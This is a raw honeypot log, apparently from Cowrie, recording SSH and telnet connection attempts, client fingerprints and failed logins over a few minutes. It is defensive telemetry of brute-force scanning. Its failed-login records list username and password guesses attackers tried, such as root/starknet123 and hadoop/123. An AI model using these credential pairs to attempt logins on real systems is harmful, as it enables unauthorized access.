{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:54.845315Z","src_ip":"182.93.7.194","session":"d13caeabb6e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"retailer","password":"123456","message":"login attempt [retailer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:55.742077Z","src_ip":"182.93.7.194","session":"d13caeabb6e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:13:56.960970Z","src_ip":"182.93.7.194","session":"d13caeabb6e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.92457985877991,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:14:01.020513Z","src_ip":"170.64.224.25","session":"804564c6a96f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.2057363986969,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:14:09.213053Z","src_ip":"170.64.224.25","session":"21018cd875bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.90069890022278,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:14:28.154763Z","src_ip":"170.64.224.25","session":"96aff7e50453","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.163.176.54","src_port":56410,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7f924d1fc90","protocol":"ssh","message":"New connection: 69.163.176.54:56410 (10.17.0.5:22) [session: f7f924d1fc90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:14:29.599810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:14:29.604005Z","src_ip":"69.163.176.54","session":"f7f924d1fc90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:14:29.678608Z","src_ip":"69.163.176.54","session":"f7f924d1fc90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"starknet123","message":"login attempt [root/starknet123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:14:29.908055Z","src_ip":"69.163.176.54","session":"f7f924d1fc90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:14:30.981835Z","src_ip":"69.163.176.54","session":"f7f924d1fc90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.218.118.203","src_port":44610,"dst_ip":"10.17.0.5","dst_port":22,"session":"94d20d3dfdda","protocol":"ssh","message":"New connection: 18.218.118.203:44610 (10.17.0.5:22) [session: 94d20d3dfdda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:14:40.275141Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:14:40.279680Z","src_ip":"18.218.118.203","session":"94d20d3dfdda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:14:40.283119Z","src_ip":"18.218.118.203","session":"94d20d3dfdda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":45592,"dst_ip":"10.17.0.5","dst_port":22,"session":"5382f8a69177","protocol":"ssh","message":"New connection: 91.92.40.4:45592 (10.17.0.5:22) [session: 5382f8a69177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:14:49.017511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:14:49.021343Z","src_ip":"91.92.40.4","session":"5382f8a69177","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:14:49.101681Z","src_ip":"91.92.40.4","session":"5382f8a69177","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:14:49.353917Z","src_ip":"91.92.40.4","session":"5382f8a69177","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:14:50.438128Z","src_ip":"91.92.40.4","session":"5382f8a69177","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":55600,"dst_ip":"159.203.135.109","dst_port":22,"session":"9444dd26a75e","protocol":"ssh","message":"New connection: 103.153.68.219:55600 (159.203.135.109:22) [session: 9444dd26a75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:15:01.381195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:15:01.385396Z","src_ip":"103.153.68.219","session":"9444dd26a75e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:15:01.636860Z","src_ip":"103.153.68.219","session":"9444dd26a75e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cjdtcnm","message":"login attempt [root/cjdtcnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:15:02.401071Z","src_ip":"103.153.68.219","session":"9444dd26a75e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:15:03.657242Z","src_ip":"103.153.68.219","session":"9444dd26a75e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":52226,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a70019ab07e","protocol":"ssh","message":"New connection: 143.20.185.207:52226 (159.203.135.109:22) [session: 7a70019ab07e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:15:10.542418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:15:10.546596Z","src_ip":"143.20.185.207","session":"7a70019ab07e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:15:10.666384Z","src_ip":"143.20.185.207","session":"7a70019ab07e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":48702,"dst_ip":"159.203.135.109","dst_port":23,"session":"952ed30919f3","protocol":"telnet","message":"New connection: 107.6.151.170:48702 (159.203.135.109:23) [session: 952ed30919f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:15:11.001315Z"}
{"eventid":"cowrie.session.closed","duration":0.004477500915527344,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:15:11.005662Z","src_ip":"107.6.151.170","session":"952ed30919f3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZVPS8VCPU16GBAMD","message":"login attempt [root/XYZZVPS8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:15:11.055496Z","src_ip":"143.20.185.207","session":"7a70019ab07e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:15:12.178616Z","src_ip":"143.20.185.207","session":"7a70019ab07e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":54656,"dst_ip":"159.203.135.109","dst_port":23,"session":"cea0ae6d1d83","protocol":"telnet","message":"New connection: 107.6.151.170:54656 (159.203.135.109:23) [session: cea0ae6d1d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:15:18.988228Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.154.85","src_port":43596,"dst_ip":"159.203.135.109","dst_port":22,"session":"45d0b1ca61a4","protocol":"ssh","message":"New connection: 146.190.154.85:43596 (159.203.135.109:22) [session: 45d0b1ca61a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:15:22.146459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:15:22.151038Z","src_ip":"146.190.154.85","session":"45d0b1ca61a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:15:22.220709Z","src_ip":"146.190.154.85","session":"45d0b1ca61a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crt","password":"crt123","message":"login attempt [crt/crt123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:15:22.538675Z","src_ip":"146.190.154.85","session":"45d0b1ca61a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:15:23.612693Z","src_ip":"146.190.154.85","session":"45d0b1ca61a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":40902,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9a7a8eb7a73","protocol":"ssh","message":"New connection: 89.223.69.22:40902 (159.203.135.109:22) [session: e9a7a8eb7a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:15:54.231036Z"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":58124,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8bd139c6529","protocol":"telnet","message":"New connection: 183.91.11.226:58124 (159.203.135.109:23) [session: a8bd139c6529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:16:12.834597Z"}
{"eventid":"cowrie.session.closed","duration":56.11892318725586,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:16:15.106952Z","src_ip":"107.6.151.170","session":"cea0ae6d1d83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.61.233.105","src_port":43080,"dst_ip":"159.203.135.109","dst_port":22,"session":"168bff772d27","protocol":"ssh","message":"New connection: 202.61.233.105:43080 (159.203.135.109:22) [session: 168bff772d27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:16:19.875867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:16:19.881105Z","src_ip":"202.61.233.105","session":"168bff772d27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:16:19.976082Z","src_ip":"202.61.233.105","session":"168bff772d27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newdelhi_india","password":"newdelhi123","message":"login attempt [newdelhi_india/newdelhi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:16:20.351913Z","src_ip":"202.61.233.105","session":"168bff772d27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:16:21.450483Z","src_ip":"202.61.233.105","session":"168bff772d27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":36972,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5ecb92819e1","protocol":"ssh","message":"New connection: 159.65.58.200:36972 (159.203.135.109:22) [session: c5ecb92819e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:16:43.691832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:16:44.015786Z","src_ip":"159.65.58.200","session":"c5ecb92819e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-